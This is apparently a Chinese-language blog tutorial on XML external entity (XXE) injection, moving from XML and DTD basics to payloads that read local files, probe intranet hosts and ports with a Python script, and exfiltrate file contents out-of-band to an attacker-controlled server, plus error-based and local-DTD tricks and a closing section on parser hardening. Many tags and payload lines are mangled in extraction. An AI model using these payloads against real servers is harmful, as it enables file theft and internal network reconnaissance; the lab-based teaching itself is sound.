如果各位表哥表姐已经懂得啥是 XML, DTD, 那么可以直接从0x02 什么是 XXE?
开始看; 如果你只是大概知道啥是 XML , 那么我建议你从头开始看!
XXE
漏洞全程为XML External Entity Injection
, 也就是XML外部实体注入漏洞。 显然, 这个漏洞和 XML 有关(废话), 那第一步, 先了解什么是XML。
百度百科
可扩展标记语言, 标准通用标记语言的子集, 是一种用于标记电子文件使其具有结构性的标记语言。
简单来说, 它是一种语言, 表现形式类似于HTML(超文本标记语言), 而XML与HTML的差别在于, HMTL是用于展示数据和页面, 而XML是为了更好的存储和传输数据。
HTML的容错能力使得格式可以 不必十分规范, 例如有时可能忘记闭合标签了也不会出错。而XML语法就严格很多。XML的语法可以参见菜鸟教程简单了解即可。
当然, 为了方面我们理解, 我们这里会简单讨论一下 xml 的构建模块, 即 xml 由什么东西组成.
所有的 XML 文档均由以下简单的构建模块构成:
元素是啥没啥好讲的, 基本上就长下面的样子.
<元素名>值元素名>
举个例子, 下面代码中有两个元素, body
和messge
, 其中body
的值是123
, message
的值是abc
<body>123body>
<message>abcmessage>
属性可提供有关元素的额外信息。
属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。下面的 “img” 元素拥有关于源文件的额外信息:
<img src="computer.gif" />
元素的名称是 “img”。属性的名称是 “src”。属性的值是 “computer.gif”。由于元素本身为空, 它被一个 " /" 关闭。
实体是用来定义普通文本的变量, 在 xml 中的格式如下:
<元素名>&实体名;元素名>
即&
开头, 中间是名字, 以;
结尾
那怎么理解实体呢?
简单来说, 就相当于我们学 C 语言的时候, 定义一个变量, 并给该变量赋值, 以后我们就通过该变量名来引用值
举个例子, 我们在 xml 中, 定义了一个变量名为<
, 给他赋值为<
, 那么我们使用<
的时候, 就相当于是用<
了.
别问我为啥
<
的变量名叫<
, 问设计 xml 的大佬去!!
那么为啥不直接使用<
, 而要用<
替代呢? 很简单, 因为<
和 xml 语法规则冲突了, 解析器会把<
当作新元素的开始呗. 举个例子:
正常来说, 我们在 xml 中定义一个元素如下:
<body>if salary = 1000 thenbody>
现在我们要修改body
的值为if salary < 1000 then
, 难道我们要这样改?
<body> if salary < 1000 then body>
如果按照上面的改法, <
都不配对了, 都不满足 xml 的元素格式了, 那么 xml 怎么可能知道你的元素是叫body
, 对吧!!
所以改成下面这样子, 就不会和语法冲突了
<body>1<body>
当上面的 xml 被解析的时候, <
就会被替换成<
了
XML预定义了下面五个实体引用, 当文档被 XML 解析器解析时, 实体就会被展开。
实体引用 | 字符 | 意思 |
---|---|---|
< |
< | less than |
> |
> | greater than |
& |
& | ampersand |
" |
" | straight double quotation mark |
' |
’ | apostrophe |
当然, 最重要的一点是, 我们可以使用 DTD 声明使用实体!!, 至于 DTD 是啥, 下面会说到.
可把数据
理解为 XML 元素的开始标签与结束标签之间的文本。
除了 CDATA 区段中的文本会被解析器忽略之外, XML 文档中的其他文本均会被解析器解析
所以把数据分成可以解析的和不能解析两种
PCDATA
的意思是被解析的字符数据(parsed character data)
。
PCDATA 是会被 XML 解析器解析的文本, 文本中的标签会被当作标记来处理, 而实体会被展开。
简单来说, 就是当某个 XML 元素被解析时, 其标签之间的文本也会被解析, 如下:
<message>This text is also parsedmessage>
当然, 上面的 “This text is also parsed” 解析不出啥东西.
但是, 如果 XML 元素包含了其他元素, 就像下面这个实例中, 其中的
元素包含着另外的两个元素(first
和 last
):
<name> <first>Billfirst><last>Gateslast> name>
解析器会把它分解为像这样的子元素:
<name>
<first>Billfirst>
<last>Gateslast>
name>
也正因为如此, 如果被解析的字符数据中包含 &
、<
或者 >
字符之类的字符, 则需要使用 &
、<
以及 >
实体来分别替换它们, 防止如<
被解析成元素开头这类的错误发生
CDATA
的意思是字符数据(character data)
在XML中, 指定某段内容不必被XML解析器解析时, 使用。也就是说中括号中的内容, 解析器不会去分析。所以其中可以包含
>
, <
, &
, '
, "
这5个特殊字符。经常把一段程序代码嵌入到中。 因为代码中可能包含大量的
>
, <
, &
, "
这样的特殊字符。
例如在XML中声明:
<script>
<![CDATA[
if(i<10){
printf("i<10");
}
]]>
script>
script
元素的值就是那一大串的代码
在XML中DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列合法的元素来定义文档的结构。
DTD文件对当前XML文档中 的节点进行了定义, 这样我们加载配置文件之前, 可通过指定的DTD对当前XML中的节点进行检查, 确定XML结构和数据类型是否合法。
DTD(文档类型定义)部分, 规定了文档元素里的数据类型, 以及可以出现哪些元素。DTD菜鸟教程
简单来说, DTD 就是定义了我们的 XML 长啥样子!
在 DTD 中, XML 的元素通过 元素声明 来进行声明。元素声明使用下面的语法:
<!ELEMENT 元素名 类别>
或
<!ELEMENT 元素名 (子元素)>
空元素通过类别关键词 EMPTY
进行声明:
<!ELEMENT element-name EMPTY>
例子如下:
DTD:
<!ELEMENT br EMPTY>
XML:
<br/>
只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:
<!ELEMENT element-name (#PCDATA)>
实例:
<!ELEMENT from (#PCDATA)>
通过类别关键词 ANY
声明的元素, 可包含任何可解析数据的组合:
<!ELEMENT element-name ANY>
实例:
<!ELEMENT note ANY>
带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:
<!ELEMENT element-name (child1)>
或
<!ELEMENT element-name (child1,child2,...)>
实例:
<!ELEMENT note (to,from,heading,body)>
当子元素按照由逗号分隔开的序列进行声明时, 这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中, 子元素也必须被声明, 同时子元素也可拥有子元素。“note” 元素的完整声明是:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
还有其他的声明, 如声明出现零次或多次的元素等等, 请自行查看
https://www.runoob.com/dtd/dtd-elements.html
假如 DTD 被包含在您的 XML 源文件中, 它应当通过下面的语法包装在一个 DOCTYPE
声明中:
带有 DTD 的 XML 文档实例如下:
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
假如 DTD 位于 XML 源文件的外部, 那么它应通过下面的语法被封装在一个 DOCTYPE
定义中:
这个 XML 文档和上面的 XML 文档相同, 但是拥有一个外部的 DTD
<note>
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>
note>
那个外部 DTD note.dtd
文件如下
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
还记得前面讲过的<
这个代表>
的实体吗? 现在我们可以在DTD中自定义了
语法:
<!ENTITY 实体名称 "实体的值">
**实例: **
<!DOCTYPE foo [
<!ENTITY xxe "Thinking">]>
<foo>&xxe;foo>
**语法: ** 在DTD 中定义, 在 XML 文档中引用
**实例: **
]>
<reset>
<login>&test;login>
<secret>loginsecret>
reset>
上述两种均为引用实体, 主要在XML文档中被应用, 引用方式:&实体名称; 末尾要带上分号, 这个引用将直接转变成实体内容。
可以看出, 外部实体是可以访问外部dtd文件的, 而外部实体注入攻击正是利用了这一 点。
**语法: **
<!ENTITY % 实体名称 "实体的值">
% 实体名
(这里面空格不能少) 在 DTD 中定义, 并且只能在 DTD 中使用 %实体名;
引用**实例: **
<!ENTITY xxe "%body;">
]>
<reset>
<secret>loginsecret>
reset>
参数实体在我们 Blind XXE 中起到了至关重要的作用
外部引用可支持http, file等协议, 不同的语言支持的协议不同, 但存在一些通用的协议, 具体内容如下所示:
**语法: **
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
假设有个应用有一个很简单的功能, html 有个表单提交, 如下:
<login>
<user>adminuser>
<pass>123pass>
login>
服务端接收该 xml 之后, 将其中的用户名和密码解析出来
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo "Username: ".$creds->user."";
echo "Password: ".$creds->pass;
?>
当然这是正常的操作, 如果我是黑客, 我们会怎么做呢? 给这个 xml 加上一段 dtd, 让 xml 解析器我们引入的外部实体, 这样子, 我们想读哪个文件, 就读哪个文件
]>
<login>
<user>&xxe;user>
<pass>mypasspass>
login>
这就是所谓的 XXE, xml 外部实体注入攻击!
到此, 已经了解了什么是XML, 什么是DTD, 以及一个XXE的基本流程是什么样的。由于是一种代码注 入, 必然需要去了解语法知识, 理解payload的构造方式。
在本地里建立一个flag.txt
看看效果。
xxe.php
内容如下
libxml_disable_entity_loader (false); // 若为true, 则表示禁用外部实体
$xmlfile = file_get_contents('php://input'); // 可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
构造payload发送
]>
<hack>&file;hack>
结果如下图:
因为这个flag.txt
文件没有什么特殊符号, 于是我们读取的时候可以说是相当的顺利, 我要是给这个文件加上一些特殊字符呢?
# /etc/fstab: static file system information.
# #
proc /proc proc defaults 0 0 /dev/hda2 /
ext3 defaults,errors=remount-ro 0 1 ...
flag{This_is_flag}
我们试一下, 结果如下图:
可以看到, 不但没有读到我们想要的文件, 而且还给我们报了一堆错, 怎么办?
因为我们用的是 PHP, 自然而然的想到了 PHP 的伪协议:
]>
<hack>&file;hack>
效果如下:
IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojICMgPGZpbGUgc3lzdGVtPiA8bW91bnQgcG9pbnQ+IDx0eXBlPiA8b3B0aW9ucz4gPGR1bXA+IDxwYXNzPg0KcHJvYwkvcHJvYwlwcm9jIGRlZmF1bHRzCTAJMCAvZGV2L2hkYTIJLw0KZXh0MwlkZWZhdWx0cyxlcnJvcnM9cmVtb3VudC1ybyAwCTEgLi4uDQpmbGFne1RoaXNfaXNfZmxhZ30=
拿去 base64 解码就可以看到内容了
那除了 php 伪协议, 还有啥完全之策没有? 这个时候就要祭出我们讲到的一个神器了------CDATA
CDATA
用处是万一某个标签内容包含特殊字符或者不确定字符, 我们可以用 CDATA
包起来
那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过, 但是怎么做到, 我们来简答的分析一下:
首先, 找到问题出现的地方, 问题出现在
]>
<hack>&file;hack>
引用了可能会引起 xml 格式混乱的字符(在XML中, 有时实体内包含了些字符, 如&
,<
,>
,"
,'
等。这些均需要对其进行转义, 否则会对XML解释器生成错误), 我们想在引用的两边加上 和
]]>
,但是好像没有任何语法告诉我们字符串能拼接的, 于是我想到了能不能使用多个实体连续引用的方法
<!ENTITY end "]]>"> ]>
<hack>&start;&goodies;&end;hack>
结果如下图:
注意, 这里面的三个实体都是字符串形式, 连在一起居然报错了, 这说明我们不能在 xml 中进行拼接, 而是需要在拼接以后再在 xml 中调用, 那么要想在 DTD中拼接, 我们知道我们只有一种选择, 就是使用参数实体
payload:
<!ENTITY % end "]]>">
%dtd; ]>
<hack>&all;hack>
evil.dtd
<!ENTITY all "%start;%goodies;%end;">
我们先简单分析一下这段 payload
定义此文档是
hack
类型的文档
然后声明三个参数实体: start
, goodies
, end
, 其中goodies
的值是flag.txt
文件的内容
接着声明外部参数实体dtd
然后调用了%dtd;
, 即会访问http://localhost:8081/test/evil.dtd
, 声明了一个实体all
, 其值是那三个实体的调用
到此, 声明了一大坨的实体, 就调用了dtd
那个实体
最后在 xml 中调用了all
实体 -> 调用那三个实体中的start
->start
被替换成-> 调用
goodies
-> goodies
被替换成 flag.txt 的内容-> 调用end
->end
被替换成]]>
-> 然后三个替换的值拼接在一起 -> all
被替换成拼接在一起的值
现在的 xml 变成如下的样子
<hack>
hack>
因为我们的 php 代码的意思是要将解析出来的内容输出, 所以页面会输出 hack
之间的内容
结果如下图:
我们以存在 XXE 漏洞的服务器为我们探测内网的支点。
要进行内网探测我们还需要做一些准备工作, 我们需要先利用 file
协议读取我们作为支点服务器的网络配置文件, 看一下有没有内网, 以及网段大概是什么样子
以linux 为例, 我们可以尝试读取 /etc/network/interfaces
或者 /proc/net/arp
或者 /etc/host
文件以后我们就有了大致的探测方向了
]>
<creds>&goodies;creds>
根据响应的时间的长短判断主机是否存在, 可以通过burp重放遍历端口
下图可以看到, 因为192.168.82.135
是我的 xp 虚拟机, 然后可以看到响应时间是968ms
然后将 ip 改成不存在的192.168.82.136
, 发现响应时间变成了20.97s
下面是一个探测脚本的实例:
import requests
import base64
#Origtional XML that the server accepts
#
# user
#
def build_xml(string):
xml = """"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ &xxe; """
xml = xml + "\r\n" + """"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
# 这里的超时设置成 5s, 可以根据实际情况修改
x = requests.post('http://localhost:8081/test/xxe.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
找到了内网的一台主机, 想要知道攻击点在哪, 我们还需要进行端口扫描, 端口扫描的脚本和主机探测的脚本几乎没有什么变化, 只要把 ip 地址固定, 然后循环遍历端口就行了
这里为了方便演示, Metasploitable2 启动!!
]>
<creds>&goodies;creds>
根据响应的时间的长短判断端口是否开放, 可以通过burp重放遍历端口;如果有报错, 可以直接探测出banner信息。
这里演示用 dvwa 的 login.php 页面
]>
<creds>&goodies;creds>
base64 解码如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Damn Vulnerable Web App (DVWA) - Login</title>
<link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />
</head>
<body>
<div align="center">
<br />
<p><img src="dvwa/images/login_logo.png" /></p>
<br />
<form action="login.php" method="post">
<fieldset>
<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
<p class="submit"><input type="submit" value="Login" name="Login"></p>
</fieldset>
</form>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<!-- <img src="dvwa/images/RandomStorm.png" /> -->
<p>Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project</p>
<p>Hint: default username is 'admin' with password 'password' </p>
</div> <!-- end align div -->
</body>
</html>
如果没有回显, 我们如何获得外带
出获得数据呢?
首先, 我们设置一个变量 %file
用来承接读取到的内容
接着, 对我们的vps服务器发起一次get请求, 并且拼接上数据去请求, 不就可以外带数据了吗?
按照思路, 我们可以构造如下语句, 似乎没啥毛病?
%send;
]>
但是实际上上面语句是不正确的, 由于同级的参数不会被解析, 所以不行
所以考虑一下嵌套, 于是构造如下语句, 可是还是报错了。
% send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;
%send;
]>
嵌套的
%
需要进行实体编码: https://www.css-js.com/tools/unicode.html 或者去 http://www.howtocreate.co.uk/sidehtmlentity.html 查询, 这里%
可以转换成十六进制的%
, 也可转出成十进制的%
在内部DTD里, 参数实体引用只能和元素同级而不能直接出现在元素声明内部, 否则 XML 解析器会报错
也就是说 %file
是参数实体引用不可以出现在exp
元素声明的内部
于是将
% send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;
写在可控的服务器上, 这里我写在本地的 kali 上
然后将 payload 改成如下:
%get;
%send;
]>
先引用了%get
对象, 发起请求, 加载了a.dtd
, 而a.dtd
中声明并引用了%exp
, 接在exp
里声明了send
, 最后send
里有file
可以看到服务器有两条记录, 首先是先获取a.dtd
, 然后第二次又发起了一次请求, 外带出了数据
上述的方法, 是远程加载了一个DTD文件。如此做的原因在于参数实体引用只能和元素同级而不能直接出现在元素内部。
我们将如下语句写在了可控的服务器上, 进行远程获取, 这样就避免了这个问题。
% send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;
同理, 那么只要引入一个文件, 不管是本地还是远程文件, 目的是在于绕过上述限制。于是我们可以引用本地的dtd文件重写里面的DTD实体, 即可达到和上述一样的效果 。
如果发现任何DTD文件已经存在于目标服务器文件系统的某个位置, 该文件由参数实体(例如)组成, 并且在该DTD本身的某个位置被引用(例如
)。然后, 我们基本上可以覆盖该实体的内容, 而只需在OOB 中的外部
evil.dtd
中编写将要执行的操作。
例如如果服务器上存在/usr/share/xyz/legit.dtd:
..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..
如果您在XXE中添加以下内容:
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
root>
然后, 解析的XML内容将从现在 变为
You Control Contents inside this DTD now!!!
因为我们在 Windows 环境下, 所以, 我们可以找C:/WINDOWS/system32/wbem/xml/cim20.dtd
这个 dtd 文件
打开这个文件, 可以找到一个参数实体SuperClass
的定义
和它的调用
所以, payload 应该长这个样子
<!ENTITY % SuperClass '>这里填 DTD 代码<!ENTITY test "test"'>
%local_dtd;
下面的 payload 利用了报错, 传入一个不存在的文件路径abcxyc
爆出了内容:
<!ENTITY % SuperClass '>
% file SYSTEM "php://filter/read=convert.base64encode/resource=file:///e:/flag.txt">
% eval "% error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ENTITY test "test"'>
%local_dtd;
]>
<message>any textmessage>
%local_dtd;
payload一般如下:
% error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:
https://xz.aliyun.com/t/3357
https://www.cnblogs.com/flokz/p/xxe.html
https://xz.aliyun.com/t/6913
欢迎大家访问我的博客: https://fengwenhua.top , 虽然博客上面没啥东西!